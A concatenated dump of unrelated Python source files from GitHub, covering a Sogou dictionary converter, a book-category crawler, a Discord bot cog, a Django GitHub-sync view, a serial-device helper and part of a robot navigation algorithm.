Scel2Txt:\n # 拼音表偏移,\n STARTPY = 0x1540\n # 汉语词组表偏移\n STARTCHINESE = 0x2628\n\n def __init__(self, src_path, dest_dict):\n # 全局拼音表\n self._GPy_Table = {}\n\n # 解析结果\n # 元组(词频,拼音,中文词组)的列表\n self._GTable = []\n\n self._src_path = src_path\n self._dest_dict = dest_dict\n\n def _byte2str(self, data):\n '''将原始字节码转为字符串'''\n i = 0\n length = len(data)\n ret = u''\n while i < length:\n x = data[i:i + 1] + data[i + 1:i + 2]\n t = chr(struct.unpack('H', x)[0])\n if t == u'\\r':\n ret += u'\\n'\n elif t != u' ':\n ret += t\n i += 2\n return ret\n\n # 获取拼音表\n def _getPyTable(self, data):\n if data[0:4] != '\\x9D\\x01\\x00\\x00':\n return None\n data = data[4:]\n pos = 0\n length = len(data)\n while pos < length:\n index = struct.unpack('H', data[pos] + data[pos + 1])[0]\n\n pos += 2\n l = struct.unpack('H', data[pos] + data[pos + 1])[0]\n\n pos += 2\n py = self._byte2str(data[pos:pos + l])\n\n self._GPy_Table[index] = py\n pos += l\n\n # 获取一个词组的拼音\n def _getWordPy(self, data):\n pos = 0\n length = len(data)\n ret = u''\n while pos < length:\n index = struct.unpack('H', data[pos] + data[pos + 1])[0]\n ret += self._GPy_Table[index]\n pos += 2\n return ret\n\n # 获取一个词组\n def _getWord(self, data):\n pos = 0\n length = len(data)\n ret = u''\n while pos < length:\n index = struct.unpack('H', data[pos] + data[pos + 1])[0]\n ret += self._GPy_Table[index]\n pos += 2\n return ret\n\n # 读取中文表\n def _getChinese(self, data):\n\n pos = 0\n length = len(data)\n while pos < length:\n # 同音词数量\n same = struct.unpack('H', data[pos:pos + 1] + data[pos + 1:pos + 2])[0]\n\n # 拼音索引表长度\n pos += 2\n py_table_len = struct.unpack('H', data[pos:pos + 1] + data[pos + 1:pos + 2])[0]\n # 拼音索引表\n pos += 2\n\n # 中文词组\n pos += py_table_len\n for i in range(same):\n # 中文词组长度\n c_len = struct.unpack('H', data[pos:pos + 1] + data[pos + 1:pos + 2])[0]\n # 中文词组\n pos += 2\n word = self._byte2str(data[pos: pos + c_len])\n # 扩展数据长度\n pos += c_len\n ext_len = struct.unpack('H', data[pos:pos + 1] + data[pos + 1:pos + 2])[0]\n # 词频\n pos += 2\n\n self._GTable.append(word)\n # 到下个词的偏移位置\n pos += ext_len\n\n def generate_dict(self):\n def deal(fn):\n with open(fn, 'rb') as f:\n data = f.read()\n\n if data[0:12] != b'\\x40\\x15\\x00\\x00\\x44\\x43\\x53\\x01\\x01\\x00\\x00\\x00':\n print('确认你选择的是搜狗(.scel)词库?')\n raise OSError('')\n\n self._getPyTable(data[self.STARTPY:self.STARTCHINESE])\n self._getChinese(data[self.STARTCHINESE:])\n\n for filename in os.listdir(self._src_path):\n if os.path.exists('{}'.format(self._dest_dict)):\n continue\n\n deal('{}/{}'.format(self._src_path, filename))\n\n with open(self._dest_dict, 'w') as dic:\n # 删除相同元素\n GTable_filter = sorted(set(self._GTable), key=self._GTable.index)\n\n for word in GTable_filter:\n dic.write(word)\n dic.write('\\n')\n\n\nif __name__ == '__main__':\n SogouCrawler('dicts/').crawl()\n Scel2Txt('dicts/', 'user_dict.dic').generate_dict()\n","repo_name":"1202zhyl/sentiment_analysis","sub_path":"prepare/get_data/dict/sogou_dict_generator.py","file_name":"sogou_dict_generator.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"72891329573","text":"import requests\r\nfrom lxml import etree\r\nimport pymysql\r\n\r\ndef gethtml(url):\r\n try:\r\n headers = {'user-agent':'Mozilla/5.0'}\r\n r = requests.get(url, headers = headers)\r\n r.raise_for_status()\r\n r.encoding = r.apparent_encoding\r\n return r.text\r\n except:\r\n return \"\"\r\n\r\ndef parsepage(html):\r\n tree = etree.HTML(html)\r\n categary_list1 = tree.xpath(\"/html/body/div[6]//ul/li[1]/h2/a/text()\")\r\n categary_list2 = tree.xpath(\"/html/body/div[7]//ul/li[1]/h2/a/text()\")\r\n categary_list = categary_list1 + categary_list2\r\n return categary_list\r\n\r\ndef connect_db(categary_list):\r\n db = pymysql.connect(\"localhost\",'root','1004210191','bookcity')\r\n cursor = db.cursor()\r\n for item in range(len(categary_list)):\r\n sql = \"insert into category(id, type_name) values('{}','{}');\".format(item+1 , categary_list[item])\r\n cursor.execute(sql)\r\n db.commit()\r\n\r\n\r\ndef main():\r\n url = 'https://www.x88dushu.com/'\r\n html = gethtml(url)\r\n result = parsepage(html)\r\n connect_db(result)\r\n print(\"类别分类完成\")\r\n\r\n\r\nif __name__ ==\"__main__\":\r\n main()\r\n\r\n\r\n# class Category(models.Model):\r\n# id = models.CharField(primary_key = True,max_length = 255)\r\n# type_name = models.CharField(max_length = 255)\r\n\r\n# class Meta:\r\n# db_table = \"category\"\r\n\r\n","repo_name":"ayang818/Useful-Crawl","sub_path":"SpiderForBookCity/category_spider.py","file_name":"category_spider.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"9"} +{"seq_id":"4918258628","text":"from typing import List\n\nimport disnake\nfrom disnake.ext import commands\n\nfrom dugs import log\nfrom dugs.bot import Dugs\nfrom dugs.database import Member\nfrom dugs.enums import RoleType\n\nlogger = log.get_logger(__name__)\n\nMIN_CHARACTERS = 2\nMIN_VALID_WORDS = 3\nVALID_WORD_INFLUENCE = 1\nVALID_IMAGE_INFLUENCE = 5\nVALID_VIDEO_INFLUENCE = 10\n\n\nclass Events(commands.Cog):\n def __init__(self, bot: Dugs) -> None:\n self.bot = bot\n\n def calculate_influence(self, message: disnake.Message) -> int:\n influence = 0\n\n valid_words = [word for word in message.content.split() if len(word) >= MIN_CHARACTERS]\n if len(valid_words) >= MIN_VALID_WORDS:\n influence += VALID_WORD_INFLUENCE\n\n if message.attachments:\n for attachment in message.attachments:\n if \"image\" in attachment.content_type:\n influence += VALID_IMAGE_INFLUENCE\n if \"video\" in attachment.content_type:\n influence += VALID_VIDEO_INFLUENCE\n\n return influence\n\n @commands.Cog.listener()\n async def on_message(self, message: disnake.Message) -> None:\n \"\"\"Executed when a `message_create` event is received from Discord.\"\"\"\n\n if message.author.bot:\n return\n\n companies_at_war = await self.bot.companies.get_companies_at_war(message.guild.id)\n\n if not companies_at_war:\n return\n\n for company in companies_at_war:\n if not message.author in company.members:\n continue\n\n company.influence += self.calculate_influence(message)\n await self.bot.companies.update_company(message.guild.id, company)\n\n @commands.Cog.listener(\"on_button_click\")\n async def handle_company_invite(self, inter: disnake.MessageInteraction) -> None:\n \"\"\"Handles confirmation button interactions on company invite messages\"\"\"\n\n if not any(action in inter.component.custom_id for action in (\"accept\", \"decline\")):\n return\n\n component_id = inter.component.custom_id.split(\":\")\n\n if len(component_id) > 4:\n # component includes timestamp, likely a war invite and\n # not a comapany invite\n return\n\n action, guild_id, company_id, member_id = component_id\n\n if inter.author.id != int(member_id):\n await inter.response.send_message(\n \"This invitation is not yours to reply to\", ephemeral=True\n )\n return\n\n company = await self.bot.companies.get_company(int(guild_id), int(company_id))\n guild = inter.guild or self.bot.get_guild(int(guild_id))\n member = inter.author if inter.guild else guild.get_member(inter.author.id)\n await member.add_roles(disnake.Object(id=int(company_id)))\n\n if action == \"decline\":\n await inter.response.send_message(\n f\"You have denied the invitation to `{company.name}`\", ephemeral=True\n )\n else:\n member = Member(member_id=inter.author.id, type=RoleType.Private, company_id=company_id)\n company.members.append(member)\n await self.bot.companies.add_company_member(member)\n\n await inter.response.send_message(\n f\"You are now a member of {company.name}!\", ephemeral=True\n )\n\n # disable the buttons\n rows = disnake.ui.ActionRow.rows_from_message(inter.message)\n for row in rows:\n for component in row:\n component.disabled = True\n\n await inter.message.edit(components=rows)\n\n @commands.Cog.listener(\"on_button_click\")\n async def handle_trash_button(self, inter: disnake.MessageInteraction) -> None:\n \"\"\"Delete a message if the user has permission to do so\"\"\"\n\n if not \"trash\" in inter.component.custom_id:\n return\n\n if (\n not str(inter.author.id) in inter.component.custom_id\n or not inter.channel.permissions_for(inter.author).manage_messages\n ):\n await inter.response.send_message(\n \"You are not the person that requested this message.\", ephemeral=True\n )\n return\n\n await inter.response.defer()\n await inter.delete_original_response()\n\n @commands.Cog.listener(\"on_slash_command\")\n async def log_slash_command_usage(self, inter: disnake.CommandInteraction) -> None:\n \"\"\"Logs slash command usage\"\"\"\n\n def get_invoked_command_name(inter: disnake.CommandInteraction) -> str:\n invoked_command_name = [inter.application_command.name]\n\n def parse_options(options: List[disnake.Option]) -> None:\n for option in options:\n print(option.type)\n if option.type is disnake.OptionType.sub_command:\n invoked_command_name.append(option.name)\n return\n\n if option.type is disnake.OptionType.sub_command_group:\n invoked_command_name.append(option.name)\n parse_options(option.options)\n return\n\n parse_options(inter.data.options)\n\n return \" \".join(invoked_command_name)\n\n invoked_command = get_invoked_command_name(inter)\n logger.info(\n f\"`/{invoked_command}` was used in `{inter.guild.name}` by {inter.author.display_name}\"\n )\n\n\ndef setup(bot: Dugs) -> None:\n bot.add_cog(Events(bot))\n","repo_name":"CandleOne/DUCS","sub_path":"dugs/cogs/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"70150547173","text":"import json\nimport requests\nimport base64\nimport re\nimport csv\n\nfrom django.views import View\nfrom django.http import JsonResponse\n\nfrom hub.models import Token, Exporter, Release, Category\n\napi_url = 'https://api.github.com/repos/'\nPATTERN = r\"!\\[(\\w*|\\s|\\w+( \\w+)*)\\]\\(([^,:!]*|\\/[^,:!]*\\.\\w+|\\w*.\\w*)\\)\"\ncategories={category.name:category.id for category in Category.objects.all()}\n\n\nclass TokenView(View):\n def get_exporters(self, token):\n exporters = Exporter.objects.select_related('category', 'official').prefetch_related('release_set').order_by('id')\n exporter_list = 'https://raw.githubusercontent.com/NexClipper/exporterhub/master/api/exporter_list.csv'\n repo_get = requests.get(exporter_list)\n headers = {'Authorization' : 'token ' + token}\n\n if repo_get.status_code == 200:\n repo_infos = csv.reader(repo_get.text.strip().split('\\n'))\n next(repo_infos, None)\n\n for info in repo_infos:\n repo_name = info[0]\n repo_url = info[1]\n repo_official = 1 if info[2] == '1' else 2\n repo_category = info[3]\n\n if not exporters.filter(repository_url=repo_url).exists():\n repo_api_url = api_url+repo_url.replace('https://github.com/','')\n readme_api_url = repo_api_url+'/readme'\n release_api_url = repo_api_url+'/releases'\n repository = requests.get(repo_api_url, headers=headers)\n\n if repository.status_code==200:\n repo_data = repository.json()\n readme = requests.get(readme_api_url, headers=headers)\n readme_data = readme.json()\n release = requests.get(release_api_url, headers=headers)\n release_data = release.json() if release.json() else []\n new_readme = base64.b64decode(readme_data[\"content\"]).decode('utf-8')\n matches = re.findall(PATTERN, new_readme)\n repo_address = repo_url.replace('https://github.com/','')\n categories = {category.name:category.id for category in Category.objects.all()}\n\n for match in matches:\n for element in match:\n if '.' in element:\n new_readme = new_readme.replace(element,f\"https://raw.githubusercontent.com/{repo_address}/master/{element}\")\n\n exporter=Exporter.objects.create(\n category_id = categories[repo_category],\n official_id = repo_official,\n name = repo_name,\n logo_url = repo_data[\"owner\"][\"avatar_url\"],\n stars = repo_data[\"stargazers_count\"],\n repository_url = repo_url,\n description = repo_data[\"description\"],\n readme_url = repo_url+\"/blob/master/README.md\",\n readme = new_readme.encode('utf-8'),\n )\n\n releases=sorted(release_data, key=lambda x: x[\"created_at\"])\n\n for info in releases:\n Release(\n exporter_id = exporter.id,\n release_url = info[\"html_url\"],\n version = info[\"tag_name\"],\n date = info[\"created_at\"]\n ).save()\n\n elif repository.status_code==401:\n Token.objects.filter(token=token).update(is_valid=False)\n return JsonResponse({'message':'INVALID_TOKEN'}, status=401)\n\n else:\n return JsonResponse({'message':f\"Check {repo_name}'s repository\"}, status=repository.status_code)\n \n else:\n repo_api_url = api_url+repo_url.replace('https://github.com/','')\n readme_api_url = repo_api_url+'/readme'\n release_api_url = repo_api_url+'/releases'\n repository = requests.get(repo_api_url, headers=headers)\n\n if repository.status_code==200:\n repo_data = repository.json()\n readme = requests.get(readme_api_url, headers=headers)\n readme_data = readme.json()\n release = requests.get(release_api_url, headers=headers)\n release_data = release.json()[0] if release.json() else []\n exporter = exporters.get(repository_url=repo_url)\n new_readme = base64.b64decode(readme_data[\"content\"]).decode('utf-8')\n matches = re.findall(PATTERN, new_readme)\n repo_name = repo_url.replace('https://github.com/','')\n\n for match in matches:\n for element in match:\n if '.' in element:\n new_readme=new_readme.replace(element,f\"https://raw.githubusercontent.com/{repo_name}/master/{element}\")\n\n if str(exporter.modified_at) < repo_data['updated_at']:\n Exporter.objects.filter(id=exporter.id).update(\n stars = repo_data[\"stargazers_count\"],\n description = repo_data[\"description\"],\n readme = new_readme.encode('utf-8')\n )\n\n if release_data and (str(exporter.release_set.last()) < release_data['created_at']):\n Release.objects.create(\n exporter_id=exporter.id,\n date=release_data['created_at'],\n version=release_data['tag_name'],\n release_url=release_data['html_url']\n )\n \n elif repository.status_code==401:\n Token.objects.filter(token=token).update(is_valid=False)\n return JsonResponse({'message':'INVALID_TOKEN'}, status=401)\n\n else:\n return JsonResponse({'message':f\"Check {repo_name}'s repository\"}, status=repository.status_code)\n \n return JsonResponse({'message':'SUCCESS'}, status=201)\n \n return JsonResponse({'message':\"ERROR_CHECK_EXPORTERHUB'S_LIST\"}, status=404)\n\n def get(self, request):\n token = Token.objects.filter()\n if not token.exists():\n return JsonResponse({'token_state':False,'token':''}, status=400)\n\n token_valid = token.last().is_valid if Token.objects.filter().exists() else False\n return JsonResponse({'TOKEN_VALID':token_valid, 'TOKEN':token.last().token}, status=200)\n \n def post(self, request):\n try:\n data = json.loads(request.body)\n input_token = data['token']\n \n if Token.objects.filter().exists():\n Token.objects.filter().update(token=input_token, is_valid=True)\n else:\n Token.objects.create(token=input_token, is_valid=True)\n\n token=Token.objects.filter().last()\n get_result=self.get_exporters(token.token)\n\n return get_result\n except KeyError:\n return JsonResponse({'message':'KEY_ERROR'}, status=400)","repo_name":"NexClipper/exporterhub","sub_path":"api/hub/views/admin/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"9"} +{"seq_id":"28337476475","text":"import sys\nimport glob\nimport serial\nimport time\n\n\ndef coerce_to_bytes(x):\n if isinstance(x, bytes):\n return x\n else:\n return bytes(x, \"ascii\")\n\n# Serial communications class that is used for multiple devices.\n\n\nclass fsSerial:\n \"\"\"Serial class for generic serial device.\"\"\"\n\n WaitTimeout = 3\n portName = \"\"\n\n def __init__(self, port, baud=9600, timeout=float(0.1)):\n self.isOpened = False\n\n while True:\n try:\n self.ser = serial.Serial(port, baudrate=baud, timeout=timeout)\n print('Opened port:', port)\n break\n except:\n print(\"******* FAILED to open port:\", port)\n self.isOpened = True\n\n def close(self):\n self.ser.close()\n\n # Retrieve any waiting data on the port\n def get_ser_output(self):\n # print (\"GSO:\")\n output = b''\n while True:\n # read() blocks for the timeout set above *if* there is nothing to read\n # otherwise it returns immediately\n byte = self.ser.read(1)\n if byte is None or byte == b'':\n break\n output += byte\n if byte == b'\\n':\n break\n # print (\"GSO Output:\", output)\n return output\n\n # Block and wait for the device to reply with \"ok\" or \"OK\"\n # Times out after self.WaitTimeout (set above)\n def wait_for_ok(self):\n # print (\"WFO:\")\n\n # Certain serial errors can be fixed by resetting\n reset_trig = False\n\n output = b''\n timeout_max = self.WaitTimeout / self.ser.timeout\n timeout_count = 0\n while True:\n byte = self.ser.read(1)\n if byte is None or byte == b'':\n timeout_count += 1\n time.sleep(1)\n else:\n output += byte\n if timeout_count > timeout_max:\n print('Serial timeout.')\n break\n if byte == b'\\n':\n break\n # print (\"WFO Output:\", output)\n output = output.decode(\"ascii\")\n\n # Checks for any errors\n if not output.startswith(\"ok\") and not output.startswith(\"OK\"):\n print(\"Unexpected serial output:\", output.rstrip('\\r\\n'), \"(\", ''.join(x for x in output), \")\")\n reset_trig = True\n\n return reset_trig\n\n # Send a command to the device via serial port\n # Asynchronous by default - doesn't wait for reply\n def send_cmd(self, cmd):\n # print (\"SC:\", cmd)\n self.ser.write(bytes(cmd, \"ascii\"))\n self.ser.flush()\n\n # Send a command to the device via serial port\n # Waits to receive reply of \"ok\" or \"OK\" via waitForOK()\n def send_sync_cmd(self, cmd):\n # print (\"SSC:\", cmd)\n self.ser.flushInput()\n self.ser.write(bytes(cmd, \"ascii\"))\n self.ser.flush()\n reset_trig = self.wait_for_ok()\n\n return reset_trig\n\n # Send a command and retrieve the reply\n def send_cmd_get_reply(self, cmd):\n self.ser.flushInput()\n self.ser.write(bytes(cmd, \"ascii\"))\n self.ser.flush()\n return self.get_ser_output().decode(\"ascii\")\n\n\ndef list_available_ports():\n \"\"\"Lists serial ports\"\"\"\n\n if sys.platform.startswith('win'):\n ports = ['COM' + str(i + 1) for i in range(64)]\n elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):\n # this is to exclude your current terminal \"/dev/tty\"\n ports = glob.glob('/dev/tty[A-Za-z]*')\n elif sys.platform.startswith('darwin'):\n ports = glob.glob('/dev/tty.*')\n else:\n raise EnvironmentError('Unsupported platform')\n\n result = []\n for port in ports:\n try:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n except (OSError, serial.SerialException):\n pass\n\n return result\n\n\ndef find_dispenser():\n port_list = list_available_ports()\n\n for port in port_list:\n s = fsSerial(port, 9600)\n s.send_cmd('V')\n time.sleep(0.25)\n r = s.get_ser_output()\n\n if r.startswith(\" V\"):\n # print (\"Port:\", port, \"is first dispenser found\")\n dispenser = s\n dispenser.ser.flushInput()\n return dispenser\n\n s.ser.flushInput()\n s.ser.flushOutput()\n s.close()\n\n return None\n\n\ndef find_smoothie():\n port_list = list_available_ports()\n\n for port in port_list:\n s = fsSerial(port, 115200)\n print(s)\n r = s.send_cmd_get_reply('version\\n')\n print(\"Reply: \", r)\n if r.startswith(\"Build version:\"):\n print(\"Port: {} is first Smoothie found\".format(port))\n smoothie = s\n smoothie.ser.flushInput()\n return smoothie\n s.ser.flushInput()\n s.ser.flushOutput()\n s.close()\n\n return None\n","repo_name":"venkatachalamlab/LarvaPickerRobot","sub_path":"larvapicker/utils/fsSerial.py","file_name":"fsSerial.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"40303137167","text":"\nimport math\nfrom refer import Property\nimport copy\nimport pprint\nimport numpy as np\nimport pandas as pd\nfrom scipy.sparse.csgraph import shortest_path, floyd_warshall, dijkstra, bellman_ford, johnson\n\nclass Algorithm_bp():\n\n def __init__(self, *arg):\n \n self.state = arg[0] # state\n self.env = arg[1] # env\n self.agent = arg[2] # agent\n self.NODELIST = arg[3] # NODELIST\n self.Observation = arg[4]\n self.refer = Property()\n self.total_stress = 0\n self.stress = 0\n self.Stressfull = 8 # 10 # 4\n self.COUNT = 0\n self.done = False\n self.TRIGAR = False\n self.TRIGAR_REVERSE = False\n self.BACK = False\n self.BACK_REVERSE = False\n self.on_the_way = False\n self.bf = True\n self.STATE_HISTORY = []\n self.BPLIST = []\n self.PROB = []\n self.Arc = []\n self.OBS = []\n self.Storage_Arc = []\n self.SAVE = []\n\n \"============================================== Visualization ver. との違い ==============================================\"\n self.Node_l = [\"s\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"O\", \"g\", \"x\"] # here\n self.Node_l = [\"s\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"O\", \"H\", \"I\", \"J\", \"K\", \"g\", \"x\"]\n \n # self.COST = move_cost_cal()\n self.backed = []\n self.Unbacked = self.Node_l\n \"============================================== Visualization ver. との違い ==============================================\"\n self.n_m = arg[5]\n\n self.test = arg[6]\n\n def move_cost_cal(self):\n \"----- move cost -----\"\n print(\"bp-----=========================================================================================\\n\")\n print(\"mv_copy : \", self.move_cost_result_copy)\n self.move_cost_result_copy[self.move_cost_result_copy == np.inf] = np.nan\n print(\"mv_copy inf -> nan : \", self.move_cost_result_copy)\n print(type(self.move_cost_result_copy))\n\n self.demo = copy.copy(self.move_cost_result_copy)\n \n print(\"-----\")\n self.move_cost_result_copy = pd.Series(self.move_cost_result_copy, index=self.Node_l) # index=self.Unbacked)\n print(\"mv_copy -> pandas + add index: \", self.move_cost_result_copy)\n print(type(self.move_cost_result_copy))\n print(\"-----\")\n self.move_cost_result_copy.dropna(inplace=True)\n print(\"mv_copy drop nan: \", self.move_cost_result_copy)\n print(type(self.move_cost_result_copy))\n print(\"-----\")\n \n try:\n self.move_cost_result_copy.drop(index=[\"x\"], inplace=True)\n except:\n # Add 0203\n # self.move_cost_result_copy.drop(index=[self.NODELIST[self.state.row][self.state.column]], inplace=True) # というかこっちのみで良い気がする\n pass\n\n\n print(\"mv_copy drop x: \", self.move_cost_result_copy)\n # # print(self.move_cost_result_copy[\"s\"])\n # # self.move_cost_result_copy.drop(index=self.backed, columns=self.backed, inplace=True)\n self.move_cost_result_copy.drop(index=self.backed, inplace=True) # mv_copyはXの行成分抽出 = npの配列 -> 再度pandasでindex追加しているのでindexのみ削除で大丈夫\n print(\"mv_copy drop backed: \", self.move_cost_result_copy)\n\n\n print(f\"test_bp_st : \\n{self.test_bp_st}\")\n self.test_bp_st.dropna(inplace=True)\n print(\"test bp st drop nan : \", self.test_bp_st)\n print(\"-----\")\n # self.test_bp_st.drop(index=[\"x\"], inplace=True)\n # print(self.test_bp_st)\n\n self.test_bp_st.drop(index=self.backed, inplace=True)\n print(\"Storage : \", self.test_bp_st)\n\n print(\"bp-----=========================================================================================\\n\")\n \"----- move cost -----\"\n\n def next_position_decision(self):\n # self.BPLIST = self.test_bp_st\n \n # self.next_position, self.next_attribute = self.agent.back_position(self.test_bp_st, self.Attribute)\n self.next_attribute = self.agent.back_position(self.test_bp_st, self.Attribute)\n \n \"============================================== Visualization ver. との違い ==============================================\"\n print(\"===== TEST 1114 =====\")\n # print(self.BPLIST)\n # print(self.test_bp_st)\n # print(self.next_attribute[\"STATE\"][self.next_attribute.index[0]]) # self.next_position)\n print(self.next_attribute[\"STATE\"][0])\n print(self.next_attribute.index[0]) # これと\n print(self.next_attribute[\"STATE\"].index[0]) # これは同じ\n print(\"===== TEST 1114 =====\")\n\n # print(type(self.test_bp_st)) # self.BPLIST))\n # # print(type(self.next_attribute[\"STATE\"][self.next_attribute.index[0]])) # self.next_position))\n # print(type(self.next_attribute[\"STATE\"][0])) # self.next_position))\n # # next_lm = (self.BPLIST[self.BPLIST == self.next_attribute[\"STATE\"][self.next_attribute.index[0]]]) # self.next_position])\n # # next_lm = (self.test_bp_st[self.test_bp_st == self.next_attribute[\"STATE\"][self.next_attribute.index[0]]]) # self.next_position])\n # # next_lm = (self.test_bp_st[self.test_bp_st == self.next_attribute[\"STATE\"][0]]) # self.next_position])\n # next_lm = self.next_attribute[\"STATE\"][0]\n # print(\"next_lm : \", next_lm)\n # # # print(\"next_lm : \", next_lm.index[0])\n # # print(\"test:\", self.next_attribute[\"STATE\"].index[0])\n # # print(\"test:\", self.next_attribute[\"STATE\"][0])\n # # print(\"test:\", self.next_attribute.index[0])\n\n # \"test index\"\n # # self.test_index = self.BPLIST.index.get_loc(next_lm.index[0])\n # # print(\"self.BPLIST.index : \", self.BPLIST.index.get_loc(next_lm.index[0]))\n # print(\"self.test_bp_st.index : \", self.test_bp_st.index.get_loc(self.next_attribute.index[0])) # next_lm.index[0]))\n\n self.Backed_Node = self.next_attribute.index[0] # next_lm.index[0]\n print(\"Backed Node : \", self.Backed_Node)\n\n def Finished_returning(self, Node):\n __a = self.n_m[self.state.row][self.state.column] # -> ここは戻る場所決定で決めた場所を代入というか戻った後はこの関数に入るので現在地を代入\n pprint.pprint(self.n_m)\n print(\"__a = \", __a)\n self.n = __a[0] # nを代入\n self.M = __a[1] # mを代入\n print(f\"[n, m] = {self.n, self.M}\")\n self.phi = [self.n, self.M]\n print(\"👍 (bp) phi = \", self.phi)\n print(\"phi(%) = \", self.n/(self.n+self.M), 1-self.n/(self.n+self.M))\n\n \n self.backed.append(self.Backed_Node)\n self.Unbacked = [i for i in Node if i not in self.backed]\n print(\"----- Backed : \", self.backed)\n print(\"----- UnBacked : \", self.Unbacked)\n print(\"----- test_bp_st -----\")\n print(\"削除前\")\n print(\"Storage : \", self.test_bp_st)\n print(\"削除後\")\n # self.test_bp_st.drop(index=next_lm.index, inplace=True)\n \"一旦printして可視化するためだけのもの\"\n self.test_bp_st_copy = copy.copy(self.test_bp_st_pre)\n self.test_bp_st_copy.dropna(inplace=True)\n self.test_bp_st_copy.drop(index=self.backed, inplace=True)\n print(\"Storage : \", self.test_bp_st_copy)\n print(\"----- test_bp_st -----\")\n print(\"----- move cost -----\")\n print(\"削除前\")\n print(\"mv_copy : \", self.move_cost_result_copy)\n print(\"削除後\")\n \n \"Add 1116 一旦printして可視化するためだけのもの 今は下の方でやっているが、こっちで可視化用のcopy2でやってもいい\"\n self.move_cost_result_copy2 = copy.copy(self.move_cost_result)\n self.move_cost_result_copy2 = pd.Series(self.move_cost_result_copy2, index=self.Node_l) # index=self.Unbacked)\n self.move_cost_result_copy2.drop(index=self.backed, columns=self.backed, inplace=True)\n self.move_cost_result_copy2[self.move_cost_result_copy2 == np.inf] = np.nan\n self.move_cost_result_copy2.dropna(inplace=True)\n self.move_cost_result_copy2.drop(index=[\"x\"], inplace=True)\n print(\"mv_copy2 : \", self.move_cost_result_copy2)\n # print(\"mv_copy : \", self.move_cost_result_copy)\n \" ↑ or ↓ \"\n # \"----- これだとinplace=Trueでも、この後アルゴリズムを抜けるのでこの結果はリセットされてしまい反映されない -----\"\n # self.move_cost_result_copy.drop(index=self.backed, inplace=True) # mv_copyはXの行成分抽出 = npの配列 -> 再度pandasでindex追加しているのでindexのみ削除で大丈夫\n # \"-> エラー 上でindexのdropを既に削除しているのでエラーになる\"\n # print(\"mv_copy drop backed: \", self.move_cost_result_copy)\n # print(\"mv_copy : \", self.move_cost_result_copy)\n \"-----------------------------------------------------------------------------------------------\"\n\n print(\"----- move cost -----\")\n\n # self.BPLIST, self.w, self.OBS, self.Attribute = self.agent.back_end(self.BPLIST, self.next_position, self.w, self.OBS, self.test_index, self.move_cost_result, self.Attribute, self.next_attribute)\n self.Attribute = self.agent.back_end(self.Attribute, self.next_attribute)\n self.BACK =True\n print(\"🔚 ARRIVE AT BACK POSITION (戻り終わりました。)\")\n print(f\"🤖 State:{self.state}\")\n print(\"OBS : {}\".format(self.OBS))\n\n # self.total_stress = 0\n \"⚠️ 要検討 ⚠️ 戻った時にどのくらい減少させるか test_s = 進んだ分だけ減少させるか = その場所までのストレスまで減少させるか\"\n print(\"⚠️ total : {}\".format(self.total_stress))\n delta_s = self.Observation[self.state.row][self.state.column]\n delta_s = round(abs(1.0-delta_s), 3)\n if delta_s > 2:\n delta_s = 1.0\n \"1217 コメントアウト\"\n # if self.total_stress - delta_s >= 0:\n # self.total_stress -= delta_s\n # else:\n # self.total_stress = 0\n\n print(\"⚠️ delta_s : {}\".format(delta_s))\n print(\"⚠️ total : {}\".format(self.total_stress))\n \"-- 追加部分 --\"\n \"============================================== Visualization ver. との違い ==============================================\"\n\n self.STATE_HISTORY.append(self.state)\n self.TOTAL_STRESS_LIST.append(self.total_stress)\n\n \"基準距離, 割合の可視化\"\n self.test_s = 0\n self.standard_list.append(self.test_s)\n # self.rate_list.append(self.n/(self.M+self.n)) # ○\n self.rate_list.append(self.M/(self.M+self.n)) # ×\n\n\n self.VIZL.append(self.L_NUM)\n self.VIZD.append(self.D_NUM)\n\n self.TRIGAR = False\n self.TRIGAR_REVERSE = False\n\n def BP(self, STATE_HISTORY, state, TRIGAR, OBS, BPLIST, action, Add_Advance, total_stress, SAVE_ARC, TOTAL_STRESS_LIST, move_cost_result, test_bp_st_pre, move_cost_result_X, standard_list, rate_list, map_viz_test, Attribute, VIZL, VIZD, LN, DN):\n self.STATE_HISTORY = STATE_HISTORY\n self.state = state\n self.TRIGAR = TRIGAR\n self.OBS = OBS\n self.BPLIST = BPLIST\n self.Advance_action = action\n self.bf = True\n self.state_history_first = True\n self.Add_Advance = Add_Advance\n self.Backed_just_before = False\n self.total_stress = total_stress\n self.SAVE_ARC = SAVE_ARC\n self.first_pop = True\n self.BackPosition_finish = False\n pre, Node, Arc, Arc_sum, PERMISSION = self.refer.reference()\n self.TOTAL_STRESS_LIST = TOTAL_STRESS_LIST\n self.standard_list = standard_list\n self.rate_list = rate_list\n\n\n\n\n self.VIZL = VIZL\n self.VIZD = VIZD\n self.L_NUM = LN\n self.D_NUM = DN\n\n\n\n\n\n \"============================================== Visualization ver. との違い ==============================================\"\n self.move_cost_result_pre = move_cost_result # self.l\n self.test_bp_st_pre = test_bp_st_pre\n # self.BPLIST = pd.Series(self.BPLIST, index=self.Node_l)\n self.test_bp_st = copy.copy(self.test_bp_st_pre)\n print(\"===== Storage : \", self.test_bp_st)\n X = self.Node_l.index(\"x\") # self.new)\n self.move_cost_result = move_cost_result_X # shortest_path(self.move_cost_result_pre, indices=X, directed=False) # bpで使う\n self.move_cost_result_copy = copy.deepcopy(self.move_cost_result)\n\n\n\n\n print(\"-----\\nbp.py first Attribute\", Attribute)\n self.Attribute = Attribute\n print(\"move cost は含まれていない->weightのみadv.pyで追加\\n-----\")\n \"============================================== Visualization ver. との違い ==============================================\"\n \n \"----- Add -----\"\n self.map = map_viz_test\n # import sys\n # sys.path.append('/Users/ken/Desktop/src/YouTube/mdp')\n \n # from map_viz import DEMO\n # test = DEMO(self.env)\n 